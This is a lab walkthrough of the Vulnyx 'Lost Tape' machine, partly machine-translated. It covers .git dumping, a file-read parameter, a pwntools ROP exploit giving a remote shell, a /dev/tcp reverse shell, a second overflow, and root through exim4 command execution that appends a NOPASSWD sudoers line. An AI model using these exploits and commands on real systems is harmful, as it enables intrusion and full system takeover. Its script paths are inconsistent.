Lost Tape

Vulnyx LostTape Machinearrow-up-right

Lost Tape

Info

Name
Difficulty
Ip
Platform

Lost Tape

Medium

172.16.243.135

Recognition

We begin with a scan nmapto see the open ports on the machine:

nmap -p- --open --min-rate 5000 -sS -Pn -n -vvv 172.16.243.135 -oG allPorts

-p-: Encompass the entire range of ports (1-65535).

--open: Show only the ports that are open.

--min-rate 5000Send packets no slower than 5000 packets per second.

-sS: We indicate the TCP SYN scan mode.

-Pn: Do not apply host discovery.

-n: Do not apply DNS resolution.

-oGExport the scan in a specific format.

We will see 3 open ports, so we will perform a deeper scan, but only on those:

nmap -p22,80,65453 -sCV 172.16.243.135 -Pn -n -oN targeted

-sC: Apply the basic recognition scripts

-sVIdentify the services running on the ports and

-oN: Export it exactly as it is displayed in the console.

# Nmap 7.95 scan initiated Sun Jun  8 14:56:34 2025 as: nmap -p22,80,65453 -sCV -Pn -n -oN targeted 172.16.243.135
Nmap scan report for 172.16.243.135
Host is up (0.00051s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 9.2p1 Debian 2+deb12u6 (protocol 2.0)
| ssh-hostkey: 
|   256 aa:3c:69:15:02:af:09:ff:e3:1e:f7:b7:a3:8b:c3:46 (ECDSA)
|_  256 31:9b:3e:9b:f2:f6:29:00:f4:4a:93:aa:d8:e7:ba:5e (ED25519)
80/tcp    open  http    Apache httpd 2.4.62 ((Debian))
| http-git: 
|   172.16.243.135:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: commit 
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.62 (Debian)
65453/tcp open  unknown
| fingerprint-strings: 
|   DNSStatusRequestTCP: 
|     dom 08 jun 2025 14:56:51 -03
|     Enter the password:
|   DNSVersionBindReqTCP: 
|     dom 08 jun 2025 14:56:46 -03
|     Enter the password:
|   FourOhFourRequest, LDAPSearchReq, LPDString: 
|     dom 08 jun 2025 14:57:06 -03
|     Enter the password: Incorrect password
|   GenericLines: 
|     dom 08 jun 2025 14:56:35 -03
|     Enter the password: Incorrect password
|   GetRequest, HTTPOptions, RTSPRequest: 
|     dom 08 jun 2025 14:56:41 -03
|     Enter the password: Incorrect password
|   Help, Kerberos, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     dom 08 jun 2025 14:56:56 -03
|     Enter the password: Incorrect password
|   LDAPBindReq: 
|     dom 08 jun 2025 14:57:06 -03
|     Enter the password:
|   NULL: 
|     dom 08 jun 2025 14:56:35 -03
|     Enter the password:
|   RPCCheck: 
|     dom 08 jun 2025 14:56:41 -03
|     Enter the password:
|   SMBProgNeg: 
|     dom 08 jun 2025 14:56:56 -03
|     Enter the password:
|   X11Probe: 
|     dom 08 jun 2025 14:57:01 -03
|_    Enter the password:
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port65453-TCP:V=7.95%I=7%D=6/8%Time=6845CED9%P=x86_64-pc-linux-gnu%r(NU
SF:LL,31,"dom\x2008\x20jun\x202025\x2014:56:35\x20-03\nEnter\x20the\x20pas
SF:sword:\x20")%r(GenericLines,44,"dom\x2008\x20jun\x202025\x2014:56:35\x2
SF:0-03\nEnter\x20the\x20password:\x20Incorrect\x20password\n")%r(GetReque
SF:st,44,"dom\x2008\x20jun\x202025\x2014:56:41\x20-03\nEnter\x20the\x20pas
SF:sword:\x20Incorrect\x20password\n")%r(HTTPOptions,44,"dom\x2008\x20jun\
SF:x202025\x2014:56:41\x20-03\nEnter\x20the\x20password:\x20Incorrect\x20p
SF:assword\n")%r(RTSPRequest,44,"dom\x2008\x20jun\x202025\x2014:56:41\x20-
SF:03\nEnter\x20the\x20password:\x20Incorrect\x20password\n")%r(RPCCheck,3
SF:1,"dom\x2008\x20jun\x202025\x2014:56:41\x20-03\nEnter\x20the\x20passwor
SF:d:\x20")%r(DNSVersionBindReqTCP,31,"dom\x2008\x20jun\x202025\x2014:56:4
SF:6\x20-03\nEnter\x20the\x20password:\x20")%r(DNSStatusRequestTCP,31,"dom
SF:\x2008\x20jun\x202025\x2014:56:51\x20-03\nEnter\x20the\x20password:\x20
SF:")%r(Help,44,"dom\x2008\x20jun\x202025\x2014:56:56\x20-03\nEnter\x20the
SF:\x20password:\x20Incorrect\x20password\n")%r(SSLSessionReq,44,"dom\x200
SF:8\x20jun\x202025\x2014:56:56\x20-03\nEnter\x20the\x20password:\x20Incor
SF:rect\x20password\n")%r(TerminalServerCookie,44,"dom\x2008\x20jun\x20202
SF:5\x2014:56:56\x20-03\nEnter\x20the\x20password:\x20Incorrect\x20passwor
SF:d\n")%r(TLSSessionReq,44,"dom\x2008\x20jun\x202025\x2014:56:56\x20-03\n
SF:Enter\x20the\x20password:\x20Incorrect\x20password\n")%r(Kerberos,44,"d
SF:om\x2008\x20jun\x202025\x2014:56:56\x20-03\nEnter\x20the\x20password:\x
SF:20Incorrect\x20password\n")%r(SMBProgNeg,31,"dom\x2008\x20jun\x202025\x
SF:2014:56:56\x20-03\nEnter\x20the\x20password:\x20")%r(X11Probe,31,"dom\x
SF:2008\x20jun\x202025\x2014:57:01\x20-03\nEnter\x20the\x20password:\x20")
SF:%r(FourOhFourRequest,44,"dom\x2008\x20jun\x202025\x2014:57:06\x20-03\nE
SF:nter\x20the\x20password:\x20Incorrect\x20password\n")%r(LPDString,44,"d
SF:om\x2008\x20jun\x202025\x2014:57:06\x20-03\nEnter\x20the\x20password:\x
SF:20Incorrect\x20password\n")%r(LDAPSearchReq,44,"dom\x2008\x20jun\x20202
SF:5\x2014:57:06\x20-03\nEnter\x20the\x20password:\x20Incorrect\x20passwor
SF:d\n")%r(LDAPBindReq,31,"dom\x2008\x20jun\x202025\x2014:57:06\x20-03\nEn
SF:ter\x20the\x20password:\x20");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jun  8 14:58:03 2025 -- 1 IP address (1 host up) scanned in 88.26 seconds

We have some interesting things:

  • nmap found one .giton the web.

  • There is an unknown service that is asking us for a password.

Since we don't have the password for port 65453, we'll go to the web.

Port 80

We will begin by using the following git-dumperto download the repository .gitfrom the website:

git-dumper http://172.16.243.135/.git web

Once it finishes, we will see a folder called 'web' that contains the index.phpwebsite's file, which if we read it we will see the following:

<?php
echo 'Welcome';


system($_GET["command_execute"]);

?>

This means that everything we pass through the method GETusing the parameter command_executewould be executed on the system, but when we test it we see that it doesn't work:

❯ curl -s -X GET 'http://172.16.243.135/?command_execute=id'
Welcome

Seeing this, it may be an old commit, so this wouldn't be of any use to us.

We may also notice that every time we enter the website the status code is 500:

500

This could mean that the website is expecting a parameter, but we don't know which one, so we'll use the following ffufto find it:

ffuf -u 'http://172.16.243.135/?FUZZ=/etc/passwd' -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -fl 1

After waiting for it to finish, it doesn't report anything, so we'll try passing the parameter by POSTinstead of GET, but in my case with ffufdidn't work, so I did it with a Python script:

import requests
url = 'http://172.16.243.135/index.php'
with open("/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt", "r") as w:
    for line in w:
        line = line.strip()
        data = {
            f"{line}": "/etc/passwd"
        }
        r = requests.post(url, data=data)
        response = r.text.replace("Welcome", "")
        if response != "":
            print(f"Parámetro {line} encontrado:\n {r.text}")
            break

We run it and see the following:

Parámetro file encontrado:
Welcomeroot:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
maci:x:1000:1000:maci,,,:/home/maci:/bin/bash
Debian-exim:x:102:110::/var/spool/exim4:/usr/sbin/nologin
dk:x:1001:1001:dk,,,:/home/dk:/bin/bash

So we already know what the parameter is and we see that it allows us to read files instead of executing commands.

If we examine the code, index.phpwe will see the following:

❯ curl -s -X POST 'http://172.16.243.135/' -d 'file=index.php'
Welcome<?php
echo 'Welcome';
$file = $_POST["file"];
echo file_get_contents($file);
?>

As we can see, it displays the contents of the files using the function file_get_contents(), so we can't use scripts php_filter_chain_generatorto execute commands since it doesn't use `src` include()and therefore won't be useful. However, we can see what processes are running on the machine. For this, we'll also create a Python script:

import requests
url = 'http://172.16.243.135/index.php'
for num in range(10000):
    data = {
        "file": f"/proc/{num}/cmdline"
    }
    r = requests.post(url, data=data)
    response = r.text.replace("Welcome", "")
    if response != "":
        print(f"{num}: {response}")

We run it and see the following process:

1: /sbin/init
333: /lib/systemd/systemd-journald
356: /lib/systemd/systemd-udevd
384: /lib/systemd/systemd-timesyncd
386: /usr/bin/VGAuthService
387: /usr/bin/vmtoolsd
447: /lib/systemd/systemd-timesyncd
448: /usr/sbin/cron-f
449: /usr/bin/dbus-daemon--system--address=systemd:--nofork--nopidfile--systemd-activation--syslog-only
461: /usr/sbin/rsyslogd-n-iNONE
463: /lib/systemd/systemd-logind
472: /usr/sbin/rsyslogd-n-iNONE
473: /usr/sbin/rsyslogd-n-iNONE
474: /usr/sbin/rsyslogd-n-iNONE
507: dhclient-4-v-i-pf/run/dhclient.ens33.pid-lf/var/lib/dhcp/dhclient.ens33.leases-I-df/var/lib/dhcp/dhclient6.ens33.leasesens33
543: /usr/bin/vmtoolsd
544: /usr/bin/vmtoolsd
631: /sbin/agetty-o-p -- \u--noclear-linux
652: sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
692: /usr/sbin/apache2-kstart
748: /usr/sbin/apache2-kstart
749: /usr/sbin/apache2-kstart
750: /usr/sbin/apache2-kstart
751: /usr/sbin/apache2-kstart
754: /usr/sbin/apache2-kstart
780: /usr/sbin/xinetd-pidfile/run/xinetd.pid-stayalive-inetd_compat-inetd_ipv6
935: /usr/sbin/exim4-bd-q30m
942: /usr/sbin/apache2-kstart
943: /usr/sbin/apache2-kstart

Of all these, the only one that interests us is the one about [name] xinetd, since it gives us a clue. But first:

What is xinetd?

xinetd es un demonio de Internet (daemon) en sistemas Unix/Linux que funciona como un servidor de "supervisión" para gestionar otros servicios de red.

¿Cual es su función principal?

La función principal de xinetd es escuchar puertos de red en espera de conexiones entrantes, y cuando una conexión es solicitada en un puerto determinado, redirige la solicitud al servicio adecuado para que lo atienda.

Esto significa que xinetd puede ser el servicio que escucha por el puerto 65453 pero lo redirige a otro, que no necesariamente es un servicio, si no un binario tal como puede ser bash, ls o uno personalizado. Sabiendo esto ¿Que podríamos hacer?; con esta información podríamos revisar todos los servicios gestionados por xinetd, los cuales son un simple archivo de configuración individual en /etc/xinetd.d/, por lo que haremos nuevamente un script en python que lo haga:

import requests
url = 'http://172.16.243.135/index.php'
with open("/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt", "r") as w:
    for line in w:
        line = line.strip()
        data = {
            "file": f"/etc/xinetd.d/{line}"
        }
        r = requests.post(url, data=data)
        response = r.text.replace("Welcome", "")
        if response != "":
            print(f"/etc/xinetd.d/{line}:\n {response}")

lo ejecutamos y nos muestra lo siguiente:

/etc/xinetd.d/services:
 # default: off
# description: An internal xinetd service, listing active services.

service services
{
	type		= INTERNAL UNLISTED
	port		= 9098
	socket_type	= stream
	protocol	= tcp
	wait		= no
	disable		= yes
	only_from	= 127.0.0.1
}                                                                               

/etc/xinetd.d/servers:
 # default: off
# description: An internal xinetd service, listing active servers.

service servers
{
	type		= INTERNAL UNLISTED
	port		= 9099
	socket_type	= stream
	protocol	= tcp
	wait		= no
	disable		= yes
	only_from	= 127.0.0.1
}                                                                               

/etc/xinetd.d/time:
 # default: off
# description: An RFC 868 time server. This protocol provides a
# site-independent, machine readable date and time. The Time service sends back
# to the originating source the time in seconds since midnight on January first
# 1900.
# This is the tcp version.
service time
{
	disable		= yes
	type		= INTERNAL
	id		= time-stream
	socket_type	= stream
	protocol	= tcp
	user		= root
	wait		= no
}

# This is the udp version.
service time
{
	disable		= yes
	type		= INTERNAL
	id		= time-dgram
	socket_type	= dgram
	protocol	= udp
	user		= root
	wait		= yes
}

/etc/xinetd.d/manager:
 service manager_service
{
    disable         = no
    socket_type     = stream
    protocol        = tcp
    wait            = no
    user            = maci
    server          = /usr/sbin/manager
    bind            = 0.0.0.0
    port            = 65453
    type            = UNLISTED
}

el último servicio es el único que nos interesa, ya que este nos muestra cual es el binario que se ejecuta. Ahora guardaremos el binario para revisarlo:

curl -s -X POST 'http://172.16.243.135/' -d 'file=/usr/sbin/manager' -o manager

una vez guardado borraremos el 'Welcome' que queda en el comienzo del archivo, para esto se puede usar nano,nvim o cualquier editor de texto.

Una vez todo listo, ejecutamos file manager y vemos lo siguiente:

manager: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=8755bb23d1a83b341a1fb84dc8974b44d3f328f0, for GNU/Linux 3.2.0, not stripped

esto nos dice que es un binario de 64bits. Si lo ejecutamos veremos que también nos pide una contraseña, por lo que podemos averiguarla usando ltrace:

❯ ltrace ./manager
system("date"dom 08 jun 2025 16:03:07 -03
 <no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )                                                                                          = 0
printf("Enter the password: ")                                                                                  = 20
fflush(0x7ffff7f815c0Enter the password: )                                                                                          = 0
fgets(test
"test\n", 524, 0x7ffff7f808e0)                                                                            = 0x7fffffffdac0
strcspn("test\n", "\n")                                                                                         = 4
strcmp("test", "S3cr3tP@ssw0rd123")                                                                             = 33
puts("Incorrect password"Incorrect password
)                                                                                      = 19
fflush(0x7ffff7f815c0)                                                                                          = 0
exit(1 <no return ...>
+++ exited (status 1) +++

como podemos ver, la contraseña que espera es 'S3cr3tP@ssw0rd123', por lo que podemos intentar ponerla:

❯ ./manager
dom 08 jun 2025 16:03:58 -03
Enter the password: S3cr3tP@ssw0rd123
Welcome!
1: Read file system
2: Write a suggestion
s: Exit
Choose an option: 1
Enter file path: /etc/host
The file could not be opened: No such file or directory

como vemos funciona y podemos leer archivos del sistema, pero esto no nos sirve ya que lo podíamos hacer antes. Podemos ver la segunda opción:

❯ ./manager
dom 08 jun 2025 16:04:59 -03
Enter the password: S3cr3tP@ssw0rd123
Welcome!
1: Read file system
2: Write a suggestion
s: Exit
Choose an option: 2
Write your suggestion: test
Suggestion saved!

esta opción nos pide un input, podemos intentar enviar mucho contenido para ver si se acontece un buffer overflow:

❯ ./manager
dom 08 jun 2025 16:05:46 -03
Enter the password: S3cr3tP@ssw0rd123
Welcome!
1: Read file system
2: Write a suggestion
s: Exit
Choose an option: 2
Write your suggestion: AAAAAAAAAAA<SNIP>AAAAAAAA
Suggestion saved!
zsh: segmentation fault (core dumped)  ./manager

efectivamente, estamos frente un buffer overflow.

Intrusión

Buffer Overflow - ROP

Si revisamos las protecciones del binario veremos que solo tiene activado NX:

Protecciones

Esto significa que el stack no es ejecutable, sin embargo las direcciones de la memoria no son aleatorias, no tiene canarios ni RELRO, por lo que nos quedan dos tipos posibles de buffer overflow por hacer:

  • ROP

  • Ret2libc

En este caso nos conviene realizar un Bof de tipo ROP ya que es mas sencillo. Para empezar podríamos hacer la base de nuestro exploit:

from pwn import *

def main():
    offset = ?
    bin_sh = b'/bin/sh\x00'
    junk = b"A"*offset
    system_addr = ?
    payload = junk + bin_sh + ? + system_addr + ?
    host, port = '172.16.243.135', 65453
    context.binary = './manager'
    p = process("./manager")
    p.sendline(b"S3cr3tP@ssw0rd123")
    p.sendline(b"2")
    p.sendline(payload)
    p.recvall()
if __name__ == '__main__':
    main()

por ahora solo nos faltaría buscar:

- [x] El offset
- [x] La dirección de system dentro del binario
- [ ] 2 gadgets o una función que nos permita hacer un ROP exitosamente

Obtener el offset

Para obtener el offset usaremos la herramienta pattern_create.rb y pattern_offset.rb de metasploit. Primero generaremos un pattern y lo pasaremos por gdb:

pattern_create.rb -l 500

copiamos el output y ejecutamos gdb:

gdb -q ./manager

En mi caso tengo pwndbg

Ahora lo ejecutamos, y al llegar a la parte vulnerable enviamos el pattern:

pattern

ahora usaremos pattern_offset.rb para obtener el offset:

❯ pattern_offset.rb -q 0x41366c41356c4134
[*] Exact match at offset 344

por lo que ya tenemos el offset y podemos actualizar el exploit:

from pwn import *

def main():
    offset = 344 - 8 # Le restamos 8 ya que se le debe restar la cadena de '/bin/sh\x00'
    bin_sh = b'/bin/sh\x00'
    junk = b"A"*offset
    system_addr = ?
    payload = junk + bin_sh + ? + system_addr + ?
    host, port = '172.16.243.135', 65453
    context.binary = './manager'
    p = process("./manager")
    p.sendline(b"S3cr3tP@ssw0rd123")
    p.sendline(b"2")
    p.sendline(payload)
    p.recvall()
if __name__ == '__main__':
    main()

ahora vamos a obtener la direcciónn de system.

Dirección system

❯ objdump -D ./manager | grep 'system'
0000000000401050 <system@plt>:
  401050:	ff 25 4a 24 00 00    	jmp    *0x244a(%rip)        # 4034a0 <system@GLIBC_2.2.5>
  40137d:	e8 ce fc ff ff       	call   401050 <system@plt>

ya tenemos la dirección: 0x401050 y podemos actualizar el exploit:

from pwn import *

def main():
    offset = 344 - 8 # Le restamos 8 ya que se le debe restar la cadena de '/bin/sh\x00'
    bin_sh = b'/bin/sh\x00'
    junk = b"A"*offset
    system_addr = p64(0x401050)
    payload = junk + bin_sh + ? + system_addr + ?
    host, port = '172.16.243.135', 65453
    context.binary = './manager'
    p = process("./manager")
    p.sendline(b"S3cr3tP@ssw0rd123")
    p.sendline(b"2")
    p.sendline(payload)
    p.recvall()
if __name__ == '__main__':
    main()

ahora debemos buscar una función o gadget que nos ayude.

Gadgets

Usaremos ghidra para buscarlos.

En la función LTe ya podemos ver algo útil:

LTe

vemos 2 instrucciones interesantes, la cuales son

  • MOV RDI,RSP

  • JMP R13

Esto nos interesa ya que la primer instrucción copia el contenido de RSP (el tope de la pila) al registro RDI, esto es interesante porque al llamar a system busca el primer valor que se encuentre en el registro rdi, rsi, rcx, rdx ,r9..., por lo que cuando lleguemos al tope de la pila podremos meter nuestra cadena '/bin/sh' en el registro rdi el cual posteriormente usará system. Luego vemos JMP R13, lo cual nos sirve para poder llamar a system ya que la función LTe salta a r13 en el final, podemos buscar un gadget como pop r13 para cargar la dirección de system en el r13 y cuando la función LTe sea llamada, ejecutará /bin/sh correctamente.

Extraer la dirección de pop r13 y la función LTe

Para obtener la dirección de la función es tan simple como hacerlo con objdump:

❯ objdump -D ./manager | grep 'LTe'
00000000004011c6 <LTe>:

por lo tanto la dirección sería 0x4011c6.

Para obtener la dirección del gadget podemos usar ropper:

pop r13

y ya tenemos la dirección: 0x4011d7. Ahora podemos terminar el exploit:

from pwn import *

def main():
    offset = 344 - 8 # Le restamos 8 ya que se le debe restar la cadena de '/bin/sh\x00'
    bin_sh = b'/bin/sh\x00'
    junk = b"A"*offset
    pop_r13 = p64(0x4011d7)
    LTe = p64(0x4011c6)
    system_addr = p64(0x401050)
    payload = junk + bin_sh + pop_r13 + system_addr + LTe
    host, port = '172.16.243.135', 65453
    context.binary = './manager'
    p = process("./manager")
    p.sendline(b"S3cr3tP@ssw0rd123")
    p.sendline(b"2")
    p.sendline(payload)
    p.interactive()
if __name__ == '__main__':
    main()

lo ejecutamos y vemos lo siguiente:

pwned

como vemos, hemos logrado obtener una shell a través del buffer overflow. Ahora solo nos queda hacer que el exploit no se ejecute en local y se conecte al puerto remoto:

from pwn import *

def main():
    offset = 344 - 8 # Le restamos 8 ya que se le debe restar la cadena de '/bin/sh\x00'
    bin_sh = b'/bin/sh\x00'
    junk = b"A"*offset
    pop_r13 = p64(0x4011d7)
    LTe = p64(0x4011c6)
    system_addr = p64(0x401050)
    payload = junk + bin_sh + pop_r13 + system_addr + LTe
    host, port = '172.16.243.135', 65453
    r = remote(host, port)
    r.sendline(b"S3cr3tP@ssw0rd123")
    r.sendline(b"2")
    r.sendline(payload)
    r.interactive()
if __name__ == '__main__':
    main()

y al ejecutarlo estaremos dentro:

Intrusion

Escalada de privilegios

Ahora que estamos dentro, somos el usuario maci, pero nos enviaremos una shell para tener una shell totalmente interactiva:

bash -c 'bash -i >& /dev/tcp/172.16.243.1/443 0>&1'

escuchamos con netcat:

sudo nc -nvlp 443

y al enviar la shell podremos ver la flag de user:

User.txt

Si ejecutamos sudo -l veremos lo siguiente:

sudo

podemos ejecutar un binario llamado name como el usuario dk, vamos a revisarlo.

name

nuevamente, tenemos un binario vulnerable a buffer overflow.

Buffer overflow - Function call

Comenzaremos pasandolo a nuestra máquina local. Si ejecutamos file y checksec veremos que es un binario de 64 bits con las mismas protecciones que el anterior. Pero cuando lo revisamos con gdb, veremos una función llamada future_function, esta función no se llama nunca en el binario, pero si ejecutamos strings ./name veremos lo siguiente:

Welcome to the future feature
/bin/bash

lo que significa que esa función probablemente ejecute /bin/bash. Para llamar a la función es mucho mas simple:

import subprocess
import sys
import select
import os
from struct import pack

offset = 40
f_function = pack("<Q", 0x401167)

junk = b"A" * offset
payload = junk + f_function

def simple_interactive(proc, initial_input):
    proc.stdin.write(initial_input)
    proc.stdin.flush()

    while True:
        rlist, _, _ = select.select([proc.stdout, sys.stdin], [], [])

        if proc.stdout in rlist:
            data = os.read(proc.stdout.fileno(), 1024)
            if not data:
                break
            sys.stdout.buffer.write(data)
            sys.stdout.buffer.flush()

        if sys.stdin in rlist:
            user_input = os.read(sys.stdin.fileno(), 1024)
            if not user_input:
                break
            proc.stdin.write(user_input)
            proc.stdin.flush()

proc = subprocess.Popen(["sudo", "-u", "dk", "/usr/sbin/name"], stdin=subprocess.PIPE, stdout=subprocess.PIPE)

simple_interactive(proc, payload + b"\n")

la diferencia es que no tenemos pwntools para facilitarnos todo.

Una vez ejecutado veremos lo siguiente:

DK

nuevamente nos enviaremos una shell.

Dk

Si ejecutamos sudo -l veremos que podemos ejecutar exim4 como root. Luego de leer el manual, podemos ver una forma de ejecutar comandos:

sudo exim4 -be '${run{/bin/id}}'
dk@LostTape:~$ sudo exim4 -be '${run{/bin/id}}'
uid=0(root) gid=110(Debian-exim) groups=110(Debian-exim),0(root)

dk@LostTape:~$ 

Therefore, we will create a script in /tmp that will allow us to execute any command as root:

#!/bin/bash

echo 'dk	ALL=(ALL:ALL) NOPASSWD: ALL' >> /etc/sudoers

We grant execution permissions:

chmod 777 /tmp/privesc

and we executed it:

sudo exim4 -be '${run{/tmp/s}}'

then we can escalate to root by runningsudo su

Root

root

Latest update

Orijinal metin
Bu çeviriyi değerlendirin
Geri bildiriminiz, Google Çeviri'yi iyileştirmek için kullanılacaktır